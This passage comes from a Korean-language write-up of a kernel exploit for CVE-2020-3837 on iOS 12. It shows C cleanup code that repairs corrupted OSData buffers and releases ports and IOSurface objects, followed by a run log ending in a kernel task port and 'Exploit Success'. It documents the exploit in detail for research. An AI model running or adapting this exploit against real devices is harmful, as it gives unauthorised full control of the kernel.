  • 부분적으로 해제된 OSData 버퍼들을 검사해서, 각 페이지가 아직 매핑되어 있고 우리가 이전에 할당한(마법값 0x4242424242424242으로 표시된) 페이지인지 VM_FLAGS_FIXED 옵션과 함께 mach_vm_allocate 함수로 확인할 수 있다.
  • VM_FLAGS_FIXED는 하드코딩된 커널 주소에 메모리 영역을 할당할 수 있게 만들어주며, mach_vm_allocate 함수에서 할당 실패 시 0이 아닌 값을 반환한다.
  • 발견되면 그 페이지를 새 버퍼 시작으로 삼아 OSData 버퍼 포인터와 capacity 수정을 통해 복구한다.
  • 발견되지 않으면, capacity를 0으로 만든다.
  • 이후에는 IOSurface 프로퍼티 제거 함수인 IOSurface_remove_property 를 호출하여 안정적으로 할당해제할 수 있다.
    // in here only part of the buffer got freed, we don't know how much so the solution is more complex.
    // we need to check if each page is mapped and if so check if it was allocated by us and not freed and reallocated by the system.
    // when we find a page allocated by us it is safe to assume there won't be more corrupted pages since the corruption is contiguous
    uint64_t kfree_array = address_of_property_key(IOSurfaceRootUserClient, kfree_buffer_key); // OSArray *
    capacity = OSArray_getCapacity(kfree_array);
    
    uint64_t start_of_corruption = segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize + 8 * pagesize;
    
    for (int i = 0; i < capacity; i++) {
        uint64_t object = OSArray_objectAtIndex(kfree_array, i); // OSData *
        uint64_t buffer = OSData_buffer(object);
    
        if (buffer >= start_of_corruption) {
            uint64_t page = 0;
            
            // 8 pages
            for (int p = 0; p < 8; p++) {
                page = buffer + p * pagesize;
                
                // if allocation doesn't work page is mapped, otherwise it's free
                ret = mach_vm_allocate(new_tfp0, &page, pagesize, VM_FLAGS_FIXED); // reallocate at same address
                if (ret) {
                    uint64_t readval = kread64(page);
                    if (readval == 0x4242424242424242) {
                        printf("[*] Fixing corrupted OSData buffer at 0x%llx\n", buffer);
                        
                        // fix it
                        OSData_setBuffer(object, page);
                        OSData_setCapacity(object, 8 * pagesize - (uint32_t)(page - buffer));
                        
                        // if we find a non-corrupted buffer stop
                        goto out;
                    }
                    else {
                        printf("[*] Part of buffer reallocated by the system, keeping\n");
                    }
                }
                else {
                    kfree(page, pagesize); // was freed already, so keep it freed
                }
            }
            
            // if we've reached this point object is corrupted entirely
            OSData_setCapacity(object, 0);
        }
    }
    
out:;
    IOSurface_remove_property(kfree_buffer_key);

24-5. new_tfp0 포트만을 제외하고 모든 포트 해제 / IOSurface, IOAccelerator 정리

void IOAccelerator_deinit() {
    if (IOGraphicsAccelerator2) IOObjectRelease(IOGraphicsAccelerator2);
    if (IOAccelDevice2Conn) IOServiceClose(IOAccelDevice2Conn);
    if (IOAccelContext2Client) IOServiceClose(IOAccelContext2Client);
    
    IOGraphicsAccelerator2 = 0;
    IOAccelDevice2Conn = 0;
    IOAccelContext2Client = 0;
}

void
IOSurface_deinit() {
	IOSurface_initialized = false;
	IOSurface_id = 0;
	IOServiceClose(IOSurfaceRootUserClient);
	IOObjectRelease(IOSurfaceRoot);
}

...

err:
	// clean 200 ports
	for (int i = 0; i < port_cnt; i++) {
        if (ports[i] && ports[i] != new_tfp0) mach_port_destroy(mach_task_self(), ports[i]);
    }

    if (data) free(data);
	
#if ENABLE_HELPER
    term_kexecute();    //helper
    mach_port_destroy(mach_task_self(), tfp0);
#endif

	IOAccelerator_deinit();
	IOSurface_deinit();
	return 0;
}

실행 결과

  • 커널 메모리 할당영역을 쉽게 알아보기 위해 ENABLE_HELPER 매크로를 1로 설정함.
iPhone-8--1201:~ root# CVE-2020-3837
[*] page size: 0x4000, kr=(os/kern) successful
[*] IOSurface_init success, IOSurface_id=0xa
[i] offsets selected for iOS 12.0.1
host: 0x1503
[*] tfp0: 0x2903
[*] get_kbase ret: 0, kbase: 0xfffffff00f804000, kslide: 0x8800000
[*] Doing stage 0 heap setup
[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02d317048
[*] saved_ports[1](port=0x2703)'s msgdata_kptr = 0xffffffe02dd57048
[*] saved_ports[2](port=0x1703)'s msgdata_kptr = 0xffffffe02e74b048
[*] saved_ports[3](port=0x2603)'s msgdata_kptr = 0xffffffe02f13f048
[*] saved_ports[4](port=0x1803)'s msgdata_kptr = 0xffffffe02fb33048
[*] saved_ports[5](port=0x2503)'s msgdata_kptr = 0xffffffe030527048
[*] saved_ports[6](port=0x1903)'s msgdata_kptr = 0xffffffe0c3ddb048
[*] saved_ports[7](port=0x1a03)'s msgdata_kptr = 0xffffffe0c489b048
[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c528f048
[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5c83048
[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02d318048
[*] Doing stage 1 heap setup
[*] IOSurface's userspaceValueDicts: 0xffffffe003dd1500
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4
[+] Found our 1st sprayed IOSurface data!
[*] OSDict from userspaceValueDicts[1] = 0xffffffe003dd3b70
[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0cab1c000
[*] osdictentry_key = 0xffffffe003f15a40
[*] osdict_kbuffer = 0xffffffe0043d6c90 -> 0xaabbcc
[*] try_count: 44317
[+] command_buffer_shmem_data_kva: 0xffffffe0d5d1c000
[+] segment_list_shmem_data_kva: 0xffffffe0cfd1c000
[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0dbd1c000
[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0dbd3c000
[*] ool_message_port(port=0x2103)'s msgdata_kptr = 0xffffffe0dbd5c000
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4
[+] Found our 2nd sprayed IOSurface data!
osdata_in_osarray = 0xffffffe006182b50
osdata_kbuffer(OSArray[0]) = 0xffffffe0cfb20000
osdata_in_osarray = 0xffffffe006182df0
osdata_kbuffer(OSArray[1]) = 0xffffffe0cfb40000
osdata_in_osarray = 0xffffffe0061811d0
osdata_kbuffer(OSArray[2]) = 0xffffffe0cfb60000
osdata_in_osarray = 0xffffffe006182e20
osdata_kbuffer(OSArray[3]) = 0xffffffe0cfb80000
osdata_in_osarray = 0xffffffe006183d50
osdata_kbuffer(OSArray[4]) = 0xffffffe0cfba0000
osdata_in_osarray = 0xffffffe006181170
osdata_kbuffer(OSArray[5]) = 0xffffffe0cfbc0000
osdata_in_osarray = 0xffffffe006182160
osdata_kbuffer(OSArray[6]) = 0xffffffe0cfbe0000
osdata_in_osarray = 0xffffffe006180bd0
osdata_kbuffer(OSArray[7]) = 0xffffffe0cfc00000
osdata_in_osarray = 0xffffffe0061830f0
osdata_kbuffer(OSArray[8]) = 0xffffffe0cfc20000
osdata_in_osarray = 0xffffffe0061821f0
osdata_kbuffer(OSArray[9]) = 0xffffffe0cfc40000
osdata_in_osarray = 0xffffffe006181d10
osdata_kbuffer(OSArray[10]) = 0xffffffe0cfc60000
osdata_in_osarray = 0xffffffe006182190
osdata_kbuffer(OSArray[11]) = 0xffffffe0cfc80000
osdata_in_osarray = 0xffffffe006182220
osdata_kbuffer(OSArray[12]) = 0xffffffe0cfca0000
osdata_in_osarray = 0xffffffe0061820a0
osdata_kbuffer(OSArray[13]) = 0xffffffe0cfcc0000
osdata_in_osarray = 0xffffffe006182100
osdata_kbuffer(OSArray[14]) = 0xffffffe0cfce0000
osdata_in_osarray = 0xffffffe006182070
osdata_kbuffer(OSArray[15]) = 0xffffffe0dbd7c000
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 3, capacity 4
[+] Found our 3rd sprayed IOSurface data!
[*] osarray_count = 0x280, osarray_capacity = 0x280, osarray_array = 0xffffffe00528c800

=================== Overall Info ===================
seglist =                   0xffffffe0cfd1c000
cmdbuf =                    0xffffffe0d5d1c000
ipc_kmsg =                  0xffffffe0dbd1c000
ipc_kmsg2(FREED) =          0xffffffe0dbd3c000
[*] spray_buffer =          0xffffffe0dbd3c000
oolports =                  0xffffffe0dbd5c000
kfree_buffer =              0xffffffe0dbd7c000
====================================================

[*] ts for corrupting ipc_kmsg's ikm_size = 0x25b997ce2
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0x25b9983
[*] Freed kmsg
[+] ikm_header leak: 0xffffffe0dbd44028
[+] Segment list calculated to be at: 0xffffffe0cfd1c000
[+] fakeport: 0x2007
[+] Leaked port: 0xffffffe002796fe8
[+] Got kernel read
[+] Our task port: 0xffffffe00419dc38
[+] Updated port for tfp0!
[*] Allocated: 0xffffffe0000d0000
[*] Read back: 0x4141414141414141
[*] Creating safer port
[*] Testing new tfp0 port
[+] tfp0: 0x1f03
[*] Allocated: 0xffffffe0000d4000
[*] Read back: 0x4141414141414141
[*] getExternalTrapForIndex_func = 0xfffffff00fdedc34
[*] Kernel base: 0xfffffff00f804000
[-] Cleaning up...
[*] Found corrupted OSData buffer at 0xffffffe0dbd3c000
[*] Found corrupted OSData buffer at 0xffffffe0dbd5c000
[*] Fixing corrupted OSData buffer at 0xffffffe0de2bc000
[+] Exploit Success

iPhone-8--1201:~ root# 

참고 자료 및 출처